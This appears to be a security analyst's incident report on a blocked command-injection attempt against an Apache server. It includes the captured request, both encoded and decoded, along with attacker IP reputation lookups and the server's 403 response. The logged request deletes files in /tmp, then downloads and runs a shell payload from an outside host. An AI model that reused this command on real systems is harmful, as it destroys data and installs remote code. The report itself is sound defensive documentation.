

The Summary:

- Remote Command Execution

Splunk Incident ID: ba561a54-a4ce-4d07-97b5-73f46d29c124

Description

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell

Encoded log: -GET /shell?cd+/tmp;rm+-rf+*;wget+121.62.21.23/jaws;sh+/tmp/jaws

Decoded log: -GET /shell?cd /tmp;rm -rf *;wget 121.62.21.23/jaws;sh /tmp/jaws

Attacker Info: [Korea, Republic of](#), irt@nic.or.kr

IP: 1.224.49.15(1.224.48.0/20)

User Agent: -none

Browser Name: - none

Browser Version: - none

OS: -none

Analyst Investigation Results: use more than 35 vulnerability .there is some of last vulnerability that use(CVE-2023-3817, CVE-2023-2650, CVE-2023-0466, CVE-2023-0465, CVE-2023-0464, CVE-2023-0464, CVE-2023-0286, CVE-2023-0215) [here|<https://www.shodan.io/host/1.224.49.15>]

Virus Total Result: [here|<https://www.virustotal.com/gui/ip-address/1.224.49.15/details>]

Brief Community Comments: -none

Security Vendors' Analysis from Virus Total: 5 security vendors flagged this IP address as malicious

Talos Intelligence:

[here|https://talosintelligence.com/reputation_center/lookup?search=1.224.49.15]

REPUTATION DETAILS

IP Reputation: Poor

Web Reputation: Untrusted

BLOCK LISTS:

BL.SPAMCOP.NET: Not Listed

CBL.ABUSEAT.ORG: Not Listed

PBL.SPAMHAUS.ORG: Not Listed

SBL.SPAMHAUS.ORG: Not Listed

Shodan Result: [here|<https://www.shodan.io/host/1.224.49.15>]

Open Ports: -21 443 8800 9000

Virus Total Result -2 (Payload invetigate result: -none

Brief Community Comments: -none

Security Vendors' Analysis from Virus Total: 5 security vendors flagged this IP address as malicious .

Comments : -none

Victim: 38.242.128.144

(Ubuntu) Server 127.0.0.1

Raw Data:

[15/Sep/2023:03:04:38 +0200] ZQOtpsHtKdkQTAWAftpcpgAAAAU 1.224.49.15 56212

38.242.128.144 80

--68e01573-B--

GET /shell?cd+/tmp;rm+-rf+*;wget+121.62.21.23/jaws;sh+/tmp/jaws HTTP/1.1

User-Agent: Hello, world

Host: 127.0.0.1:80

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Connection: keep-alive

--68e01573-F--

HTTP/1.1 403 Forbidden

Content-Length: 274

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1

--68e01573-E--

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>403 Forbidden</title>

</head><body>

<h1>Forbidden</h1>

<p>You don't have permission to access this resource.</p>

<hr>

<address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address>

</body></html>

Action

The results was **403 Forbidden**, so no need for an extra action.